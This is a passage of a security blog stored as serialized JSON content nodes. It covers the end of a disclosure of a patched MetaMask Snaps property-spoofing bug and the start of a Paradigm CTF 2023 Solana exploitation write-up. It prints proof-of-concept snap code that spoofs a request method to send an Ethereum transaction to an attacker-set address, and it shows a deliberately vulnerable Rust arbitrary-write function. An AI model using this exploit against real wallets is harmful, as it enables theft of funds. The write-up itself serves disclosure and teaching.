\"snap_dialog\"\n",{"type":23,"tag":134,"props":39166,"children":39167},{"class":136,"line":479},[39168],{"type":23,"tag":134,"props":39169,"children":39170},{"emptyLinePlaceholder":15},[39171],{"type":28,"value":865},{"type":23,"tag":134,"props":39173,"children":39174},{"class":136,"line":497},[39175,39179,39183,39187,39191,39196,39200],{"type":23,"tag":134,"props":39176,"children":39177},{"style":162},[39178],{"type":28,"value":39147},{"type":23,"tag":134,"props":39180,"children":39181},{"style":179},[39182],{"type":28,"value":720},{"type":23,"tag":134,"props":39184,"children":39185},{"style":264},[39186],{"type":28,"value":38911},{"type":23,"tag":134,"props":39188,"children":39189},{"style":168},[39190],{"type":28,"value":171},{"type":23,"tag":134,"props":39192,"children":39193},{"style":179},[39194],{"type":28,"value":39195}," () ",{"type":23,"tag":134,"props":39197,"children":39198},{"style":151},[39199],{"type":28,"value":14290},{"type":23,"tag":134,"props":39201,"children":39202},{"style":179},[39203],{"type":28,"value":463},{"type":23,"tag":134,"props":39205,"children":39206},{"class":136,"line":518},[39207,39211],{"type":23,"tag":134,"props":39208,"children":39209},{"style":189},[39210],{"type":28,"value":16461},{"type":23,"tag":134,"props":39212,"children":39213},{"style":179},[39214],{"type":28,"value":463},{"type":23,"tag":134,"props":39216,"children":39217},{"class":136,"line":527},[39218,39223,39228],{"type":23,"tag":134,"props":39219,"children":39220},{"style":162},[39221],{"type":28,"value":39222},"      method:",{"type":23,"tag":134,"props":39224,"children":39225},{"style":1461},[39226],{"type":28,"value":39227}," \"eth_requestAccounts\"",{"type":23,"tag":134,"props":39229,"children":39230},{"style":179},[39231],{"type":28,"value":687},{"type":23,"tag":134,"props":39233,"children":39234},{"class":136,"line":780},[39235,39240],{"type":23,"tag":134,"props":39236,"children":39237},{"style":162},[39238],{"type":28,"value":39239},"      params:",{"type":23,"tag":134,"props":39241,"children":39242},{"style":179},[39243],{"type":28,"value":39244}," []\n",{"type":23,"tag":134,"props":39246,"children":39247},{"class":136,"line":797},[39248],{"type":23,"tag":134,"props":39249,"children":39250},{"style":179},[39251],{"type":28,"value":533},{"type":23,"tag":134,"props":39253,"children":39254},{"class":136,"line":814},[39255],{"type":23,"tag":134,"props":39256,"children":39257},{"style":179},[39258],{"type":28,"value":5328},{"type":23,"tag":134,"props":39260,"children":39261},{"class":136,"line":827},[39262],{"type":23,"tag":134,"props":39263,"children":39264},{"emptyLinePlaceholder":15},[39265],{"type":28,"value":865},{"type":23,"tag":134,"props":39267,"children":39268},{"class":136,"line":836},[39269,39273,39278,39282,39286,39290,39294],{"type":23,"tag":134,"props":39270,"children":39271},{"style":189},[39272],{"type":28,"value":38697},{"type":23,"tag":134,"props":39274,"children":39275},{"style":162},[39276],{"type":28,"value":39277}," snap",{"type":23,"tag":134,"props":39279,"children":39280},{"style":179},[39281],{"type":28,"value":720},{"type":23,"tag":134,"props":39283,"children":39284},{"style":264},[39285],{"type":28,"value":30988},{"type":23,"tag":134,"props":39287,"children":39288},{"style":179},[39289],{"type":28,"value":272},{"type":23,"tag":134,"props":39291,"children":39292},{"style":162},[39293],{"type":28,"value":18752},{"type":23,"tag":134,"props":39295,"children":39296},{"style":179},[39297],{"type":28,"value":329},{"type":23,"tag":134,"props":39299,"children":39300},{"class":136,"line":859},[39301],{"type":23,"tag":134,"props":39302,"children":39303},{"emptyLinePlaceholder":15},[39304],{"type":28,"value":865},{"type":23,"tag":134,"props":39306,"children":39307},{"class":136,"line":868},[39308],{"type":23,"tag":134,"props":39309,"children":39310},{"style":179},[39311],{"type":28,"value":1098},{"type":23,"tag":134,"props":39313,"children":39314},{"class":136,"line":877},[39315],{"type":23,"tag":134,"props":39316,"children":39317},{"emptyLinePlaceholder":15},[39318],{"type":28,"value":865},{"type":23,"tag":134,"props":39320,"children":39321},{"class":136,"line":946},[39322,39326,39331],{"type":23,"tag":134,"props":39323,"children":39324},{"style":151},[39325],{"type":28,"value":30872},{"type":23,"tag":134,"props":39327,"children":39328},{"style":264},[39329],{"type":28,"value":39330}," transactionExploit",{"type":23,"tag":134,"props":39332,"children":39333},{"style":179},[39334],{"type":28,"value":39103},{"type":23,"tag":134,"props":39336,"children":39337},{"class":136,"line":954},[39338,39342,39346,39350,39354,39358],{"type":23,"tag":134,"props":39339,"children":39340},{"style":151},[39341],{"type":28,"value":7314},{"type":23,"tag":134,"props":39343,"children":39344},{"style":162},[39345],{"type":28,"value":18541},{"type":23,"tag":134,"props":39347,"children":39348},{"style":168},[39349],{"type":28,"value":171},{"type":23,"tag":134,"props":39351,"children":39352},{"style":179},[39353],{"type":28,"value":39123},{"type":23,"tag":134,"props":39355,"children":39356},{"style":189},[39357],{"type":28,"value":8302},{"type":23,"tag":134,"props":39359,"children":39360},{"style":597},[39361],{"type":28,"value":39132},{"type":23,"tag":134,"props":39363,"children":39364},{"class":136,"line":984},[39365],{"type":23,"tag":134,"props":39366,"children":39367},{"emptyLinePlaceholder":15},[39368],{"type":28,"value":865},{"type":23,"tag":134,"props":39370,"children":39371},{"class":136,"line":992},[39372,39376,39380,39384,39388],{"type":23,"tag":134,"props":39373,"children":39374},{"style":162},[39375],{"type":28,"value":39147},{"type":23,"tag":134,"props":39377,"children":39378},{"style":179},[39379],{"type":28,"value":720},{"type":23,"tag":134,"props":39381,"children":39382},{"style":162},[39383],{"type":28,"value":37811},{"type":23,"tag":134,"props":39385,"children":39386},{"style":168},[39387],{"type":28,"value":171},{"type":23,"tag":134,"props":39389,"children":39390},{"style":1461},[39391],{"type":28,"value":39164},{"type":23,"tag":134,"props":39393,"children":39394},{"class":136,"line":1024},[39395],{"type":23,"tag":134,"props":39396,"children":39397},{"emptyLinePlaceholder":15},[39398],{"type":28,"value":865},{"type":23,"tag":134,"props":39400,"children":39401},{"class":136,"line":1032},[39402,39406,39410,39414,39418,39422,39426],{"type":23,"tag":134,"props":39403,"children":39404},{"style":162},[39405],{"type":28,"value":39147},{"type":23,"tag":134,"props":39407,"children":39408},{"style":179},[39409],{"type":28,"value":720},{"type":23,"tag":134,"props":39411,"children":39412},{"style":264},[39413],{"type":28,"value":38911},{"type":23,"tag":134,"props":39415,"children":39416},{"style":168},[39417],{"type":28,"value":171},{"type":23,"tag":134,"props":39419,"children":39420},{"style":179},[39421],{"type":28,"value":39195},{"type":23,"tag":134,"props":39423,"children":39424},{"style":151},[39425],{"type":28,"value":14290},{"type":23,"tag":134,"props":39427,"children":39428},{"style":179},[39429],{"type":28,"value":463},{"type":23,"tag":134,"props":39431,"children":39432},{"class":136,"line":1092},[39433,39437],{"type":23,"tag":134,"props":39434,"children":39435},{"style":189},[39436],{"type":28,"value":16461},{"type":23,"tag":134,"props":39438,"children":39439},{"style":179},[39440],{"type":28,"value":463},{"type":23,"tag":134,"props":39442,"children":39443},{"class":136,"line":8508},[39444,39448,39453],{"type":23,"tag":134,"props":39445,"children":39446},{"style":162},[39447],{"type":28,"value":39222},{"type":23,"tag":134,"props":39449,"children":39450},{"style":1461},[39451],{"type":28,"value":39452}," \"eth_sendTransaction\"",{"type":23,"tag":134,"props":39454,"children":39455},{"style":179},[39456],{"type":28,"value":687},{"type":23,"tag":134,"props":39458,"children":39459},{"class":136,"line":8526},[39460,39464],{"type":23,"tag":134,"props":39461,"children":39462},{"style":162},[39463],{"type":28,"value":39239},{"type":23,"tag":134,"props":39465,"children":39466},{"style":179},[39467],{"type":28,"value":39468}," [{\n",{"type":23,"tag":134,"props":39470,"children":39471},{"class":136,"line":8571},[39472,39476,39481,39485],{"type":23,"tag":134,"props":39473,"children":39474},{"style":162},[39475],{"type":28,"value":31560},{"type":23,"tag":134,"props":39477,"children":39478},{"style":1461},[39479],{"type":28,"value":39480}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":134,"props":39482,"children":39483},{"style":179},[39484],{"type":28,"value":242},{"type":23,"tag":134,"props":39486,"children":39487},{"style":141},[39488],{"type":28,"value":39489},"// change this to your address\n",{"type":23,"tag":134,"props":39491,"children":39492},{"class":136,"line":8677},[39493,39497,39501],{"type":23,"tag":134,"props":39494,"children":39495},{"style":162},[39496],{"type":28,"value":31576},{"type":23,"tag":134,"props":39498,"children":39499},{"style":1461},[39500],{"type":28,"value":39480},{"type":23,"tag":134,"props":39502,"children":39503},{"style":179},[39504],{"type":28,"value":687},{"type":23,"tag":134,"props":39506,"children":39507},{"class":136,"line":22988},[39508,39513,39518],{"type":23,"tag":134,"props":39509,"children":39510},{"style":162},[39511],{"type":28,"value":39512},"        value:",{"type":23,"tag":134,"props":39514,"children":39515},{"style":1461},[39516],{"type":28,"value":39517}," \"0x1\"",{"type":23,"tag":134,"props":39519,"children":39520},{"style":179},[39521],{"type":28,"value":687},{"type":23,"tag":134,"props":39523,"children":39524},{"class":136,"line":23023},[39525],{"type":23,"tag":134,"props":39526,"children":39527},{"style":179},[39528],{"type":28,"value":39529},"      }]\n",{"type":23,"tag":134,"props":39531,"children":39532},{"class":136,"line":23031},[39533],{"type":23,"tag":134,"props":39534,"children":39535},{"style":179},[39536],{"type":28,"value":533},{"type":23,"tag":134,"props":39538,"children":39539},{"class":136,"line":23039},[39540],{"type":23,"tag":134,"props":39541,"children":39542},{"style":179},[39543],{"type":28,"value":5328},{"type":23,"tag":134,"props":39545,"children":39546},{"class":136,"line":23048},[39547],{"type":23,"tag":134,"props":39548,"children":39549},{"emptyLinePlaceholder":15},[39550],{"type":28,"value":865},{"type":23,"tag":134,"props":39552,"children":39553},{"class":136,"line":23090},[39554,39558,39562,39566,39570,39574,39578],{"type":23,"tag":134,"props":39555,"children":39556},{"style":189},[39557],{"type":28,"value":38697},{"type":23,"tag":134,"props":39559,"children":39560},{"style":162},[39561],{"type":28,"value":39277},{"type":23,"tag":134,"props":39563,"children":39564},{"style":179},[39565],{"type":28,"value":720},{"type":23,"tag":134,"props":39567,"children":39568},{"style":264},[39569],{"type":28,"value":30988},{"type":23,"tag":134,"props":39571,"children":39572},{"style":179},[39573],{"type":28,"value":272},{"type":23,"tag":134,"props":39575,"children":39576},{"style":162},[39577],{"type":28,"value":18752},{"type":23,"tag":134,"props":39579,"children":39580},{"style":179},[39581],{"type":28,"value":1021},{"type":23,"tag":134,"props":39583,"children":39584},{"class":136,"line":23123},[39585],{"type":23,"tag":134,"props":39586,"children":39587},{"style":179},[39588],{"type":28,"value":1098},{"type":23,"tag":134,"props":39590,"children":39591},{"class":136,"line":23131},[39592],{"type":23,"tag":134,"props":39593,"children":39594},{"emptyLinePlaceholder":15},[39595],{"type":28,"value":865},{"type":23,"tag":134,"props":39597,"children":39598},{"class":136,"line":23139},[39599,39603,39607,39612,39616,39621,39625,39630,39635,39639,39643,39648,39652],{"type":23,"tag":134,"props":39600,"children":39601},{"style":189},[39602],{"type":28,"value":37707},{"type":23,"tag":134,"props":39604,"children":39605},{"style":151},[39606],{"type":28,"value":38609},{"type":23,"tag":134,"props":39608,"children":39609},{"style":264},[39610],{"type":28,"value":39611}," onRpcRequest",{"type":23,"tag":134,"props":39613,"children":39614},{"style":168},[39615],{"type":28,"value":1697},{"type":23,"tag":134,"props":39617,"children":39618},{"style":597},[39619],{"type":28,"value":39620}," OnRpcRequestHandler",{"type":23,"tag":134,"props":39622,"children":39623},{"style":168},[39624],{"type":28,"value":171},{"type":23,"tag":134,"props":39626,"children":39627},{"style":179},[39628],{"type":28,"value":39629}," ({ ",{"type":23,"tag":134,"props":39631,"children":39632},{"style":162},[39633],{"type":28,"value":39634},"origin",{"type":23,"tag":134,"props":39636,"children":39637},{"style":179},[39638],{"type":28,"value":242},{"type":23,"tag":134,"props":39640,"children":39641},{"style":162},[39642],{"type":28,"value":30988},{"type":23,"tag":134,"props":39644,"children":39645},{"style":179},[39646],{"type":28,"value":39647}," }) ",{"type":23,"tag":134,"props":39649,"children":39650},{"style":151},[39651],{"type":28,"value":14290},{"type":23,"tag":134,"props":39653,"children":39654},{"style":179},[39655],{"type":28,"value":463},{"type":23,"tag":134,"props":39657,"children":39658},{"class":136,"line":23148},[39659],{"type":23,"tag":134,"props":39660,"children":39661},{"emptyLinePlaceholder":15},[39662],{"type":28,"value":865},{"type":23,"tag":134,"props":39664,"children":39665},{"class":136,"line":23224},[39666,39671,39675,39679,39683,39687],{"type":23,"tag":134,"props":39667,"children":39668},{"style":189},[39669],{"type":28,"value":39670},"  switch",{"type":23,"tag":134,"props":39672,"children":39673},{"style":179},[39674],{"type":28,"value":232},{"type":23,"tag":134,"props":39676,"children":39677},{"style":162},[39678],{"type":28,"value":30988},{"type":23,"tag":134,"props":39680,"children":39681},{"style":179},[39682],{"type":28,"value":720},{"type":23,"tag":134,"props":39684,"children":39685},{"style":162},[39686],{"type":28,"value":37811},{"type":23,"tag":134,"props":39688,"children":39689},{"style":179},[39690],{"type":28,"value":14272},{"type":23,"tag":134,"props":39692,"children":39693},{"class":136,"line":23257},[39694,39699,39704],{"type":23,"tag":134,"props":39695,"children":39696},{"style":189},[39697],{"type":28,"value":39698},"    case",{"type":23,"tag":134,"props":39700,"children":39701},{"style":1461},[39702],{"type":28,"value":39703}," 'json'",{"type":23,"tag":134,"props":39705,"children":39706},{"style":179},[39707],{"type":28,"value":5023},{"type":23,"tag":134,"props":39709,"children":39710},{"class":136,"line":23265},[39711,39715,39719],{"type":23,"tag":134,"props":39712,"children":39713},{"style":189},[39714],{"type":28,"value":38855},{"type":23,"tag":134,"props":39716,"children":39717},{"style":264},[39718],{"type":28,"value":39098},{"type":23,"tag":134,"props":39720,"children":39721},{"style":179},[39722],{"type":28,"value":856},{"type":23,"tag":134,"props":39724,"children":39725},{"class":136,"line":23273},[39726,39730,39735],{"type":23,"tag":134,"props":39727,"children":39728},{"style":189},[39729],{"type":28,"value":39698},{"type":23,"tag":134,"props":39731,"children":39732},{"style":1461},[39733],{"type":28,"value":39734}," 'transaction'",{"type":23,"tag":134,"props":39736,"children":39737},{"style":179},[39738],{"type":28,"value":5023},{"type":23,"tag":134,"props":39740,"children":39741},{"class":136,"line":23310},[39742,39746,39750],{"type":23,"tag":134,"props":39743,"children":39744},{"style":189},[39745],{"type":28,"value":38855},{"type":23,"tag":134,"props":39747,"children":39748},{"style":264},[39749],{"type":28,"value":39330},{"type":23,"tag":134,"props":39751,"children":39752},{"style":179},[39753],{"type":28,"value":856},{"type":23,"tag":134,"props":39755,"children":39756},{"class":136,"line":23323},[39757,39762],{"type":23,"tag":134,"props":39758,"children":39759},{"style":189},[39760],{"type":28,"value":39761},"    default",{"type":23,"tag":134,"props":39763,"children":39764},{"style":179},[39765],{"type":28,"value":5023},{"type":23,"tag":134,"props":39767,"children":39768},{"class":136,"line":23336},[39769,39774,39778,39783,39787,39792],{"type":23,"tag":134,"props":39770,"children":39771},{"style":189},[39772],{"type":28,"value":39773},"      throw",{"type":23,"tag":134,"props":39775,"children":39776},{"style":151},[39777],{"type":28,"value":31428},{"type":23,"tag":134,"props":39779,"children":39780},{"style":264},[39781],{"type":28,"value":39782}," Error",{"type":23,"tag":134,"props":39784,"children":39785},{"style":179},[39786],{"type":28,"value":272},{"type":23,"tag":134,"props":39788,"children":39789},{"style":1461},[39790],{"type":28,"value":39791},"'Method not found.'",{"type":23,"tag":134,"props":39793,"children":39794},{"style":179},[39795],{"type":28,"value":1021},{"type":23,"tag":134,"props":39797,"children":39798},{"class":136,"line":23349},[39799],{"type":23,"tag":134,"props":39800,"children":39801},{"style":179},[39802],{"type":28,"value":5328},{"type":23,"tag":134,"props":39804,"children":39805},{"class":136,"line":23403},[39806],{"type":23,"tag":134,"props":39807,"children":39808},{"style":179},[39809],{"type":28,"value":16048},{"type":23,"tag":24,"props":39811,"children":39812},{},[39813,39815,39821,39823,39828],{"type":28,"value":39814},"We set ",{"type":23,"tag":92,"props":39816,"children":39818},{"className":39817},[],[39819],{"type":28,"value":39820},"x.method = \"snap_dialog\"",{"type":28,"value":39822}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":92,"props":39824,"children":39826},{"className":39825},[],[39827],{"type":28,"value":39030},{"type":28,"value":39829}," after.",{"type":23,"tag":9072,"props":39831,"children":39833},{"id":39832},"mitigation",[39834],{"type":28,"value":39835},"Mitigation",{"type":23,"tag":24,"props":39837,"children":39838},{},[39839,39841,39846,39848,39855],{"type":28,"value":39840},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":92,"props":39842,"children":39844},{"className":39843},[],[39845],{"type":28,"value":38574},{"type":28,"value":39847}," function execution. The patch was introduced on commit ",{"type":23,"tag":31,"props":39849,"children":39852},{"href":39850,"rel":39851},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[35],[39853],{"type":28,"value":39854},"168ff08",{"type":28,"value":39856}," with the following changes:",{"type":23,"tag":87,"props":39858,"children":39862},{"className":39859,"code":39860,"language":39861,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[39863],{"type":23,"tag":92,"props":39864,"children":39865},{"__ignoreMap":7},[39866,39874,39882,39890,39898],{"type":23,"tag":134,"props":39867,"children":39868},{"class":136,"line":137},[39869],{"type":23,"tag":134,"props":39870,"children":39871},{"style":179},[39872],{"type":28,"value":39873},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":134,"props":39875,"children":39876},{"class":136,"line":147},[39877],{"type":23,"tag":134,"props":39878,"children":39879},{"style":1461},[39880],{"type":28,"value":39881},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":134,"props":39883,"children":39884},{"class":136,"line":185},[39885],{"type":23,"tag":134,"props":39886,"children":39887},{"style":1461},[39888],{"type":28,"value":39889},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":134,"props":39891,"children":39892},{"class":136,"line":221},[39893],{"type":23,"tag":134,"props":39894,"children":39895},{"style":205},[39896],{"type":28,"value":39897},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":134,"props":39899,"children":39900},{"class":136,"line":332},[39901],{"type":23,"tag":134,"props":39902,"children":39903},{"style":205},[39904],{"type":28,"value":39905},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":61,"props":39907,"children":39908},{"id":28425},[39909],{"type":28,"value":18423},{"type":23,"tag":24,"props":39911,"children":39912},{},[39913],{"type":28,"value":39914},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":39916,"children":39917},{},[39918],{"type":28,"value":39919},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":2575,"props":39921,"children":39922},{},[39923],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":39925},[39926,39927,39934,39942],{"id":18432,"depth":147,"text":18435},{"id":34950,"depth":147,"text":34953,"children":39928},[39929,39930,39931,39932,39933],{"id":34961,"depth":185,"text":34964},{"id":35029,"depth":185,"text":35032},{"id":35065,"depth":185,"text":35068},{"id":36461,"depth":185,"text":36464},{"id":36819,"depth":185,"text":36822},{"id":37606,"depth":147,"text":37609,"children":39935},[39936,39937,39938,39939,39940,39941],{"id":37612,"depth":185,"text":37615},{"id":37656,"depth":185,"text":37659},{"id":38560,"depth":185,"text":38563},{"id":5117,"depth":185,"text":5120},{"id":39003,"depth":185,"text":34326},{"id":39832,"depth":185,"text":39835},{"id":28425,"depth":147,"text":18423},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":39947,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":39948,"description":39949,"author":39950,"image":39952,"date":39954,"isFeatured":15,"onBlogPage":15,"body":39955,"_type":2586,"_id":45375,"_source":2588,"_file":45376,"_stem":45377,"_extension":2591},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[39951,5175],"nicola",{"src":39953},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":39956,"toc":45364},[39957,39971,39991,39996,40000,40013,40038,40044,40049,40064,40418,40433,40698,40714,41357,41363,41368,41381,41389,41601,41609,41912,41920,42063,42071,42596,42602,42614,42627,42641,42646,43414,43419,43427,43432,43438,43450,43515,43520,43533,43546,43552,43580,44731,44744,44786,44791,44796,44810,44950,44971,44992,44999,45050,45058,45069,45082,45087,45211,45224,45326,45330,45343,45348,45360],{"type":23,"tag":24,"props":39958,"children":39959},{},[39960,39962,39969],{"type":28,"value":39961},"In the world of CTFs, ",{"type":23,"tag":31,"props":39963,"children":39966},{"href":39964,"rel":39965},"https://twitter.com/paradigm_ctf",[35],[39967],{"type":28,"value":39968},"Paradigm CTF 2023",{"type":28,"value":39970}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":39972,"children":39973},{},[39974,39976,39983,39984],{"type":28,"value":39975},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":31,"props":39977,"children":39980},{"href":39978,"rel":39979},"https://osec.io/blog/2022-03-14-solana-security-intro",[35],[39981],{"type":28,"value":39982},"Solana: An Auditor's Introduction",{"type":28,"value":10458},{"type":23,"tag":31,"props":39985,"children":39988},{"href":39986,"rel":39987},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[35],[39989],{"type":28,"value":39990},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":39992,"children":39993},{},[39994],{"type":28,"value":39995},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":61,"props":39997,"children":39998},{"id":18432},[39999],{"type":28,"value":18435},{"type":23,"tag":24,"props":40001,"children":40002},{},[40003,40005,40011],{"type":28,"value":40004},"The challenge itself resides into ",{"type":23,"tag":92,"props":40006,"children":40008},{"className":40007},[],[40009],{"type":28,"value":40010},"framework/",{"type":28,"value":40012},", and is composed of 2 parts:",{"type":23,"tag":16158,"props":40014,"children":40015},{},[40016,40027],{"type":23,"tag":4894,"props":40017,"children":40018},{},[40019,40025],{"type":23,"tag":92,"props":40020,"children":40022},{"className":40021},[],[40023],{"type":28,"value":40024},"framework/chall/lib.rs",{"type":28,"value":40026},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":4894,"props":40028,"children":40029},{},[40030,40036],{"type":23,"tag":92,"props":40031,"children":40033},{"className":40032},[],[40034],{"type":28,"value":40035},"framework/src/main.rs",{"type":28,"value":40037},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":9072,"props":40039,"children":40041},{"id":40040},"vulnerable-program",[40042],{"type":28,"value":40043},"Vulnerable Program",{"type":23,"tag":24,"props":40045,"children":40046},{},[40047],{"type":28,"value":40048},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":4890,"props":40050,"children":40051},{},[40052],{"type":23,"tag":4894,"props":40053,"children":40054},{},[40055,40056,40062],{"type":28,"value":6938},{"type":23,"tag":92,"props":40057,"children":40059},{"className":40058},[],[40060],{"type":28,"value":40061},"data[0] == 0",{"type":28,"value":40063}," a function that lets you write-what-where is executed",{"type":23,"tag":87,"props":40065,"children":40067},{"className":128,"code":40066,"language":127,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[40068],{"type":23,"tag":92,"props":40069,"children":40070},{"__ignoreMap":7},[40071,40079,40124,40135,40258,40375,40404,40411],{"type":23,"tag":134,"props":40072,"children":40073},{"class":136,"line":137},[40074],{"type":23,"tag":134,"props":40075,"children":40076},{"style":179},[40077],{"type":28,"value":40078},"#[inline(never)]\n",{"type":23,"tag":134,"props":40080,"children":40081},{"class":136,"line":147},[40082,40086,40090,40095,40099,40103,40107,40111,40115,40119],{"type":23,"tag":134,"props":40083,"children":40084},{"style":151},[40085],{"type":28,"value":13158},{"type":23,"tag":134,"props":40087,"children":40088},{"style":151},[40089],{"type":28,"value":13163},{"type":23,"tag":134,"props":40091,"children":40092},{"style":264},[40093],{"type":28,"value":40094}," write",{"type":23,"tag":134,"props":40096,"children":40097},{"style":179},[40098],{"type":28,"value":272},{"type":23,"tag":134,"props":40100,"children":40101},{"style":162},[40102],{"type":28,"value":892},{"type":23,"tag":134,"props":40104,"children":40105},{"style":168},[40106],{"type":28,"value":1697},{"type":23,"tag":134,"props":40108,"children":40109},{"style":168},[40110],{"type":28,"value":6599},{"type":23,"tag":134,"props":40112,"children":40113},{"style":179},[40114],{"type":28,"value":924},{"type":23,"tag":134,"props":40116,"children":40117},{"style":597},[40118],{"type":28,"value":600},{"type":23,"tag":134,"props":40120,"children":40121},{"style":179},[40122],{"type":28,"value":40123},"]) {\n",{"type":23,"tag":134,"props":40125,"children":40126},{"class":136,"line":185},[40127,40131],{"type":23,"tag":134,"props":40128,"children":40129},{"style":151},[40130],{"type":28,"value":13301},{"type":23,"tag":134,"props":40132,"children":40133},{"style":179},[40134],{"type":28,"value":463},{"type":23,"tag":134,"props":40136,"children":40137},{"class":136,"line":221},[40138,40142,40146,40150,40155,40159,40164,40168,40173,40177,40182,40186,40190,40194,40198,40202,40206,40210,40214,40218,40222,40226,40230,40234,40238,40242,40246,40250,40254],{"type":23,"tag":134,"props":40139,"children":40140},{"style":151},[40141],{"type":28,"value":227},{"type":23,"tag":134,"props":40143,"children":40144},{"style":162},[40145],{"type":28,"value":13325},{"type":23,"tag":134,"props":40147,"children":40148},{"style":168},[40149],{"type":28,"value":171},{"type":23,"tag":134,"props":40151,"children":40152},{"style":179},[40153],{"type":28,"value":40154}," std",{"type":23,"tag":134,"props":40156,"children":40157},{"style":168},[40158],{"type":28,"value":660},{"type":23,"tag":134,"props":40160,"children":40161},{"style":179},[40162],{"type":28,"value":40163},"mem",{"type":23,"tag":134,"props":40165,"children":40166},{"style":168},[40167],{"type":28,"value":660},{"type":23,"tag":134,"props":40169,"children":40170},{"style":264},[40171],{"type":28,"value":40172},"transmute",{"type":23,"tag":134,"props":40174,"children":40175},{"style":168},[40176],{"type":28,"value":660},{"type":23,"tag":134,"props":40178,"children":40179},{"style":179},[40180],{"type":28,"value":40181},"\u003C[",{"type":23,"tag":134,"props":40183,"children":40184},{"style":597},[40185],{"type":28,"value":600},{"type":23,"tag":134,"props":40187,"children":40188},{"style":179},[40189],{"type":28,"value":16699},{"type":23,"tag":134,"props":40191,"children":40192},{"style":205},[40193],{"type":28,"value":1278},{"type":23,"tag":134,"props":40195,"children":40196},{"style":179},[40197],{"type":28,"value":22539},{"type":23,"tag":134,"props":40199,"children":40200},{"style":168},[40201],{"type":28,"value":1777},{"type":23,"tag":134,"props":40203,"children":40204},{"style":151},[40205],{"type":28,"value":914},{"type":23,"tag":134,"props":40207,"children":40208},{"style":597},[40209],{"type":28,"value":5316},{"type":23,"tag":134,"props":40211,"children":40212},{"style":179},[40213],{"type":28,"value":7069},{"type":23,"tag":134,"props":40215,"children":40216},{"style":162},[40217],{"type":28,"value":892},{"type":23,"tag":134,"props":40219,"children":40220},{"style":179},[40221],{"type":28,"value":924},{"type":23,"tag":134,"props":40223,"children":40224},{"style":168},[40225],{"type":28,"value":213},{"type":23,"tag":134,"props":40227,"children":40228},{"style":205},[40229],{"type":28,"value":1278},{"type":23,"tag":134,"props":40231,"children":40232},{"style":179},[40233],{"type":28,"value":14880},{"type":23,"tag":134,"props":40235,"children":40236},{"style":168},[40237],{"type":28,"value":720},{"type":23,"tag":134,"props":40239,"children":40240},{"style":264},[40241],{"type":28,"value":25653},{"type":23,"tag":134,"props":40243,"children":40244},{"style":179},[40245],{"type":28,"value":13347},{"type":23,"tag":134,"props":40247,"children":40248},{"style":168},[40249],{"type":28,"value":720},{"type":23,"tag":134,"props":40251,"children":40252},{"style":264},[40253],{"type":28,"value":851},{"type":23,"tag":134,"props":40255,"children":40256},{"style":179},[40257],{"type":28,"value":14894},{"type":23,"tag":134,"props":40259,"children":40260},{"class":136,"line":332},[40261,40265,40270,40274,40278,40282,40286,40290,40294,40298,40302,40306,40310,40314,40318,40322,40326,40330,40334,40338,40342,40347,40351,40355,40359,40363,40367,40371],{"type":23,"tag":134,"props":40262,"children":40263},{"style":151},[40264],{"type":28,"value":227},{"type":23,"tag":134,"props":40266,"children":40267},{"style":162},[40268],{"type":28,"value":40269}," 